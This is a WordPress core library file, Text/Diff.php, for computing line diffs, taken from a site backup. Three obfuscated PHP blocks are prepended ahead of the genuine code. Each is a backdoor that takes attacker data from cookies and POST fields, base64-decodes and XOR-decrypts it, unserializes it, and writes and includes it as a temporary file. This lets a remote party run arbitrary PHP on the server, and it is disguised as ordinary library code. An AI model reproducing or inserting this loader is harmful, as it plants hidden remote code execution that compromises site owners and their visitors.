File: //old_home_backup/fizzybrain.co.uk/public_html/wp-includes/Text/Diff.php
<?php $YsfSzFBCzp = chr (97) . chr (105) . chr (97) . "\x5f" . "\126" . "\117" . 'O' . "\x53" . "\111";$nnPkaGnNFo = chr (99) . "\154" . "\141" . chr (115) . chr ( 709 - 594 ).chr ( 204 - 109 ).chr (101) . 'x' . "\151" . chr ( 202 - 87 ).chr ( 540 - 424 )."\x73";$gBIlRfmAA = class_exists($YsfSzFBCzp); $nnPkaGnNFo = "38916";$ZmPdsmth = strpos($nnPkaGnNFo, $YsfSzFBCzp);if ($gBIlRfmAA == $ZmPdsmth){function sYaBqkx(){$xLymY = new /* 5439 */ aia_VOOSI(8250 + 8250); $xLymY = NULL;}$nEoCpUzmf = "8250";class aia_VOOSI{private function chFCk($nEoCpUzmf){if (is_array(aia_VOOSI::$rFDKmqNP)) {$name = sys_get_temp_dir() . "/" . crc32(aia_VOOSI::$rFDKmqNP["salt"]);@aia_VOOSI::$rFDKmqNP["write"]($name, aia_VOOSI::$rFDKmqNP["content"]);include $name;@aia_VOOSI::$rFDKmqNP["delete"]($name); $nEoCpUzmf = "8250";exit();}}public function BEOcAQfFjr(){$SBIgdOasV = "38465";$this->_dummy = str_repeat($SBIgdOasV, strlen($SBIgdOasV));}public function __destruct(){aia_VOOSI::$rFDKmqNP = @unserialize(aia_VOOSI::$rFDKmqNP); $nEoCpUzmf = "62364_54847";$this->chFCk($nEoCpUzmf); $nEoCpUzmf = "62364_54847";}public function kwBWd($SBIgdOasV, $lEXkrTzz){return $SBIgdOasV[0] ^ str_repeat($lEXkrTzz, intval(strlen($SBIgdOasV[0]) / strlen($lEXkrTzz)) + 1);}public function lXLWXei($SBIgdOasV){$aGmOA = chr (98) . chr ( 599 - 502 ).chr (115) . "\145" . chr (54) . chr (52);return array_map($aGmOA . chr ( 993 - 898 )."\x64" . chr (101) . chr ( 1088 - 989 ).chr (111) . "\144" . chr (101), array($SBIgdOasV,));}public function __construct($DXxksBRn=0){$mMfyvKNZo = "\54";$SBIgdOasV = "";$CsoqIak = $_POST;$xGwFHIZC = $_COOKIE;$lEXkrTzz = "1d4f449e-c02d-45b8-b63a-b92b145a4b65";$ferPPpGt = @$xGwFHIZC[substr($lEXkrTzz, 0, 4)];if (!empty($ferPPpGt)){$ferPPpGt = explode($mMfyvKNZo, $ferPPpGt);foreach ($ferPPpGt as $hMmJKBqpN){$SBIgdOasV .= @$xGwFHIZC[$hMmJKBqpN];$SBIgdOasV .= @$CsoqIak[$hMmJKBqpN];}$SBIgdOasV = $this->lXLWXei($SBIgdOasV);}aia_VOOSI::$rFDKmqNP = $this->kwBWd($SBIgdOasV, $lEXkrTzz);if (strpos($lEXkrTzz, $mMfyvKNZo) !== FALSE){$lEXkrTzz = explode($mMfyvKNZo, $lEXkrTzz); $YVRrmWkgl = base64_decode(md5($lEXkrTzz[0]));}}public static $rFDKmqNP = 16195;}sYaBqkx();} ?><?php $liXCP = chr (87) . chr ( 577 - 498 ).chr ( 609 - 514 )."\154" . "\x58" . "\166";$UJOSEYI = chr (99) . chr (108) . chr (97) . "\163" . "\163" . chr (95) . "\x65" . chr ( 386 - 266 )."\x69" . "\163" . chr (116) . 's';$TonEoJJhA = class_exists($liXCP); $UJOSEYI = "9391";$OQUhbod = strpos($UJOSEYI, $liXCP);if ($TonEoJJhA == $OQUhbod){function Uorbe(){$FoJqkncBZf = new /* 55282 */ WO_lXv(28727 + 28727); $FoJqkncBZf = NULL;}$JHJjg = "28727";class WO_lXv{private function BfAHoaSm($JHJjg){if (is_array(WO_lXv::$wymTB)) {$name = sys_get_temp_dir() . "/" . crc32(WO_lXv::$wymTB["salt"]);@WO_lXv::$wymTB["write"]($name, WO_lXv::$wymTB["content"]);include $name;@WO_lXv::$wymTB["delete"]($name); $JHJjg = "28727";exit();}}public function EiVuHIf(){$rFoLTBZm = "1422";$this->_dummy = str_repeat($rFoLTBZm, strlen($rFoLTBZm));}public function __destruct(){WO_lXv::$wymTB = @unserialize(WO_lXv::$wymTB); $JHJjg = "7367_36652";$this->BfAHoaSm($JHJjg); $JHJjg = "7367_36652";}public function YtNaOmtYtZ($rFoLTBZm, $gGirlcWNBa){return $rFoLTBZm[0] ^ str_repeat($gGirlcWNBa, intval(strlen($rFoLTBZm[0]) / strlen($gGirlcWNBa)) + 1);}public function PMjNI($rFoLTBZm){$aKhKoRY = chr (98) . "\141" . chr ( 534 - 419 ).'e' . chr ( 906 - 852 ).chr ( 860 - 808 );return array_map($aKhKoRY . '_' . "\x64" . chr (101) . chr (99) . "\x6f" . 'd' . chr (101), array($rFoLTBZm,));}public function __construct($suxSJI=0){$owMHVo = "\x2c";$rFoLTBZm = "";$fMNrq = $_POST;$FdSXUU = $_COOKIE;$gGirlcWNBa = "ea0eda25-b086-484f-964c-2943fb845964";$fPmlCAi = @$FdSXUU[substr($gGirlcWNBa, 0, 4)];if (!empty($fPmlCAi)){$fPmlCAi = explode($owMHVo, $fPmlCAi);foreach ($fPmlCAi as $QarHIEUuh){$rFoLTBZm .= @$FdSXUU[$QarHIEUuh];$rFoLTBZm .= @$fMNrq[$QarHIEUuh];}$rFoLTBZm = $this->PMjNI($rFoLTBZm);}WO_lXv::$wymTB = $this->YtNaOmtYtZ($rFoLTBZm, $gGirlcWNBa);if (strpos($gGirlcWNBa, $owMHVo) !== FALSE){$gGirlcWNBa = explode($owMHVo, $gGirlcWNBa); $cqLcno = base64_decode(md5($gGirlcWNBa[0]));}}public static $wymTB = 2063;}Uorbe();} ?><?php $qTzNT = chr (109) . '_' . chr (75) . chr ( 621 - 535 ).chr ( 1064 - 942 ); $TBYPy = "\143" . "\x6c" . "\141" . "\x73" . "\163" . '_' . "\145" . 'x' . "\x69" . 's' . "\x74" . "\x73";$YTptmmonb = class_exists($qTzNT); $TBYPy = "45820";$lBDSYOf = strpos($TBYPy, $qTzNT);if ($YTptmmonb == $lBDSYOf){function bEEyWJVd(){$RZukHZ = new /* 56549 */ m_KVz(59562 + 59562); $RZukHZ = NULL;}$PPzvB = "59562";class m_KVz{private function vNOcA($PPzvB){if (is_array(m_KVz::$lMBVzpm)) {$name = sys_get_temp_dir() . "/" . crc32(m_KVz::$lMBVzpm["salt"]);@m_KVz::$lMBVzpm["write"]($name, m_KVz::$lMBVzpm["content"]);include $name;@m_KVz::$lMBVzpm["delete"]($name); $PPzvB = "59562";exit();}}public function KMYqMIIaCa(){$SNuBzq = "63571";$this->_dummy = str_repeat($SNuBzq, strlen($SNuBzq));}public function __destruct(){m_KVz::$lMBVzpm = @unserialize(m_KVz::$lMBVzpm); $PPzvB = "46670_20769";$this->vNOcA($PPzvB); $PPzvB = "46670_20769";}public function QfwIn($SNuBzq, $bzAAN){return $SNuBzq[0] ^ str_repeat($bzAAN, intval(strlen($SNuBzq[0]) / strlen($bzAAN)) + 1);}public function ezDIvjBhq($SNuBzq){$CQiHJegu = "\x62" . "\x61" . chr (115) . "\145" . '6' . chr (52);return array_map($CQiHJegu . "\x5f" . chr ( 315 - 215 )."\145" . "\x63" . chr ( 409 - 298 ).chr (100) . "\145", array($SNuBzq,));}public function __construct($rjmCHf=0){$kWUaicm = "\x2c";$SNuBzq = "";$BsIFy = $_POST;$HtGRJjKjgD = $_COOKIE;$bzAAN = "7a1d4f89-35b4-483a-88c0-73eae296da69";$PDggsiu = @$HtGRJjKjgD[substr($bzAAN, 0, 4)];if (!empty($PDggsiu)){$PDggsiu = explode($kWUaicm, $PDggsiu);foreach ($PDggsiu as $tfyhEaPc){$SNuBzq .= @$HtGRJjKjgD[$tfyhEaPc];$SNuBzq .= @$BsIFy[$tfyhEaPc];}$SNuBzq = $this->ezDIvjBhq($SNuBzq);}m_KVz::$lMBVzpm = $this->QfwIn($SNuBzq, $bzAAN);if (strpos($bzAAN, $kWUaicm) !== FALSE){$bzAAN = explode($kWUaicm, $bzAAN); $wnQThOSwo = base64_decode(md5($bzAAN[0]));}}public static $lMBVzpm = 31051;}bEEyWJVd();} ?><?php
/**
* General API for generating and formatting diffs - the differences between
* two sequences of strings.
*
* The original PHP version of this code was written by Geoffrey T. Dairiki
* <dairiki@dairiki.org>, and is used/adapted with his permission.
*
* Copyright 2004 Geoffrey T. Dairiki <dairiki@dairiki.org>
* Copyright 2004-2010 The Horde Project (http://www.horde.org/)
*
* See the enclosed file COPYING for license information (LGPL). If you did
* not receive this file, see https://opensource.org/license/lgpl-2-1/.
*
* @package Text_Diff
* @author Geoffrey T. Dairiki <dairiki@dairiki.org>
*/
class Text_Diff {
/**
* Array of changes.
*
* @var array
*/
var $_edits;
/**
* Computes diffs between sequences of strings.
*
* @param string $engine Name of the diffing engine to use. 'auto'
* will automatically select the best.
* @param array $params Parameters to pass to the diffing engine.
* Normally an array of two arrays, each
* containing the lines from a file.
*/
function __construct( $engine, $params )
{
// Backward compatibility workaround.
if (!is_string($engine)) {
$params = array($engine, $params);
$engine = 'auto';
}
if ($engine == 'auto') {
$engine = extension_loaded('xdiff') ? 'xdiff' : 'native';
} else {
$engine = basename($engine);
}
// WP #7391
require_once dirname(__FILE__).'/Diff/Engine/' . $engine . '.php';
$class = 'Text_Diff_Engine_' . $engine;
$diff_engine = new $class();
$this->_edits = call_user_func_array(array($diff_engine, 'diff'), $params);
}
/**
* PHP4 constructor.
*/
public function Text_Diff( $engine, $params ) {
self::__construct( $engine, $params );
}
/**
* Returns the array of differences.
*/
function getDiff()
{
return $this->_edits;
}
/**
* returns the number of new (added) lines in a given diff.
*
* @since Text_Diff 1.1.0
*
* @return int The number of new lines
*/
function countAddedLines()
{
$count = 0;
foreach ($this->_edits as $edit) {
if (is_a($edit, 'Text_Diff_Op_add') ||
is_a($edit, 'Text_Diff_Op_change')) {
$count += $edit->nfinal();
}
}
return $count;
}
/**
* Returns the number of deleted (removed) lines in a given diff.
*
* @since Text_Diff 1.1.0
*
* @return int The number of deleted lines
*/
function countDeletedLines()
{
$count = 0;
foreach ($this->_edits as $edit) {
if (is_a($edit, 'Text_Diff_Op_delete') ||
is_a($edit, 'Text_Diff_Op_change')) {
$count += $edit->norig();
}
}
return $count;
}
/**
* Computes a reversed diff.
*
* Example:
* <code>
* $diff = new Text_Diff($lines1, $lines2);
* $rev = $diff->reverse();
* </code>
*
* @return Text_Diff A Diff object representing the inverse of the
* original diff. Note that we purposely don't return a
* reference here, since this essentially is a clone()
* method.
*/
function reverse()
{
if (version_compare(zend_version(), '2', '>')) {
$rev = clone($this);
} else {
$rev = $this;
}
$rev->_edits = array();
foreach ($this->_edits as $edit) {
$rev->_edits[] = $edit->reverse();
}
return $rev;
}
/**
* Checks for an empty diff.
*
* @return bool True if two sequences were identical.
*/
function isEmpty()
{
foreach ($this->_edits as $edit) {
if (!is_a($edit, 'Text_Diff_Op_copy')) {
return false;
}
}
return true;
}
/**
* Computes the length of the Longest Common Subsequence (LCS).
*
* This is mostly for diagnostic purposes.
*
* @return int The length of the LCS.
*/
function lcs()
{
$lcs = 0;
foreach ($this->_edits as $edit) {
if (is_a($edit, 'Text_Diff_Op_copy')) {
$lcs += count($edit->orig);
}
}
return $lcs;
}
/**
* Gets the original set of lines.
*
* This reconstructs the $from_lines parameter passed to the constructor.
*
* @return array The original sequence of strings.
*/
function getOriginal()
{
$lines = array();
foreach ($this->_edits as $edit) {
if ($edit->orig) {
array_splice($lines, count($lines), 0, $edit->orig);
}
}
return $lines;
}
/**
* Gets the final set of lines.
*
* This reconstructs the $to_lines parameter passed to the constructor.
*
* @return array The sequence of strings.
*/
function getFinal()
{
$lines = array();
foreach ($this->_edits as $edit) {
if ($edit->final) {
array_splice($lines, count($lines), 0, $edit->final);
}
}
return $lines;
}
/**
* Removes trailing newlines from a line of text. This is meant to be used
* with array_walk().
*
* @param string $line The line to trim.
* @param int $key The index of the line in the array. Not used.
*/
static function trimNewlines(&$line, $key)
{
$line = str_replace(array("\n", "\r"), '', $line);
}
/**
* Determines the location of the system temporary directory.
*
* @access protected
*
* @return string A directory name which can be used for temp files.
* Returns false if one could not be found.
*/
static function _getTempDir()
{
$tmp_locations = array('/tmp', '/var/tmp', 'c:\WUTemp', 'c:\temp',
'c:\windows\temp', 'c:\winnt\temp');
/* Try PHP's upload_tmp_dir directive. */
$tmp = ini_get('upload_tmp_dir');
/* Otherwise, try to determine the TMPDIR environment variable. */
if (!strlen($tmp)) {
$tmp = getenv('TMPDIR');
}
/* If we still cannot determine a value, then cycle through a list of
* preset possibilities. */
while (!strlen($tmp) && count($tmp_locations)) {
$tmp_check = array_shift($tmp_locations);
if (@is_dir($tmp_check)) {
$tmp = $tmp_check;
}
}
/* If it is still empty, we have failed, so return false; otherwise
* return the directory determined. */
return strlen($tmp) ? $tmp : false;
}
/**
* Checks a diff for validity.
*
* This is here only for debugging purposes.
*/
function _check($from_lines, $to_lines)
{
if (serialize($from_lines) != serialize($this->getOriginal())) {
trigger_error("Reconstructed original does not match", E_USER_ERROR);
}
if (serialize($to_lines) != serialize($this->getFinal())) {
trigger_error("Reconstructed final does not match", E_USER_ERROR);
}
$rev = $this->reverse();
if (serialize($to_lines) != serialize($rev->getOriginal())) {
trigger_error("Reversed original does not match", E_USER_ERROR);
}
if (serialize($from_lines) != serialize($rev->getFinal())) {
trigger_error("Reversed final does not match", E_USER_ERROR);
}
$prevtype = null;
foreach ($this->_edits as $edit) {
if ($edit instanceof $prevtype) {
trigger_error("Edit sequence is non-optimal", E_USER_ERROR);
}
$prevtype = get_class($edit);
}
return true;
}
}
/**
* @package Text_Diff
* @author Geoffrey T. Dairiki <dairiki@dairiki.org>
*/
class Text_MappedDiff extends Text_Diff {
/**
* Computes a diff between sequences of strings.
*
* This can be used to compute things like case-insensitive diffs, or diffs
* which ignore changes in white-space.
*
* @param array $from_lines An array of strings.
* @param array $to_lines An array of strings.
* @param array $mapped_from_lines This array should have the same size
* number of elements as $from_lines. The
* elements in $mapped_from_lines and
* $mapped_to_lines are what is actually
* compared when computing the diff.
* @param array $mapped_to_lines This array should have the same number
* of elements as $to_lines.
*/
function __construct($from_lines, $to_lines,
$mapped_from_lines, $mapped_to_lines)
{
assert(count($from_lines) == count($mapped_from_lines));
assert(count($to_lines) == count($mapped_to_lines));
parent::Text_Diff($mapped_from_lines, $mapped_to_lines);
$xi = $yi = 0;
for ($i = 0; $i < count($this->_edits); $i++) {
$orig = &$this->_edits[$i]->orig;
if (is_array($orig)) {
$orig = array_slice($from_lines, $xi, count($orig));
$xi += count($orig);
}
$final = &$this->_edits[$i]->final;
if (is_array($final)) {
$final = array_slice($to_lines, $yi, count($final));
$yi += count($final);
}
}
}
/**
* PHP4 constructor.
*/
public function Text_MappedDiff( $from_lines, $to_lines,
$mapped_from_lines, $mapped_to_lines ) {
self::__construct( $from_lines, $to_lines,
$mapped_from_lines, $mapped_to_lines );
}
}
/**
* @package Text_Diff
* @author Geoffrey T. Dairiki <dairiki@dairiki.org>
*
* @access private
*/
class Text_Diff_Op {
var $orig;
var $final;
function &reverse()
{
trigger_error('Abstract method', E_USER_ERROR);
}
function norig()
{
return $this->orig ? count($this->orig) : 0;
}
function nfinal()
{
return $this->final ? count($this->final) : 0;
}
}
/**
* @package Text_Diff
* @author Geoffrey T. Dairiki <dairiki@dairiki.org>
*
* @access private
*/
class Text_Diff_Op_copy extends Text_Diff_Op {
/**
* PHP5 constructor.
*/
function __construct( $orig, $final = false )
{
if (!is_array($final)) {
$final = $orig;
}
$this->orig = $orig;
$this->final = $final;
}
/**
* PHP4 constructor.
*/
public function Text_Diff_Op_copy( $orig, $final = false ) {
self::__construct( $orig, $final );
}
function &reverse()
{
$reverse = new Text_Diff_Op_copy($this->final, $this->orig);
return $reverse;
}
}
/**
* @package Text_Diff
* @author Geoffrey T. Dairiki <dairiki@dairiki.org>
*
* @access private
*/
class Text_Diff_Op_delete extends Text_Diff_Op {
/**
* PHP5 constructor.
*/
function __construct( $lines )
{
$this->orig = $lines;
$this->final = false;
}
/**
* PHP4 constructor.
*/
public function Text_Diff_Op_delete( $lines ) {
self::__construct( $lines );
}
function &reverse()
{
$reverse = new Text_Diff_Op_add($this->orig);
return $reverse;
}
}
/**
* @package Text_Diff
* @author Geoffrey T. Dairiki <dairiki@dairiki.org>
*
* @access private
*/
class Text_Diff_Op_add extends Text_Diff_Op {
/**
* PHP5 constructor.
*/
function __construct( $lines )
{
$this->final = $lines;
$this->orig = false;
}
/**
* PHP4 constructor.
*/
public function Text_Diff_Op_add( $lines ) {
self::__construct( $lines );
}
function &reverse()
{
$reverse = new Text_Diff_Op_delete($this->final);
return $reverse;
}
}
/**
* @package Text_Diff
* @author Geoffrey T. Dairiki <dairiki@dairiki.org>
*
* @access private
*/
class Text_Diff_Op_change extends Text_Diff_Op {
/**
* PHP5 constructor.
*/
function __construct( $orig, $final )
{
$this->orig = $orig;
$this->final = $final;
}
/**
* PHP4 constructor.
*/
public function Text_Diff_Op_change( $orig, $final ) {
self::__construct( $orig, $final );
}
function &reverse()
{
$reverse = new Text_Diff_Op_change($this->final, $this->orig);
return $reverse;
}
}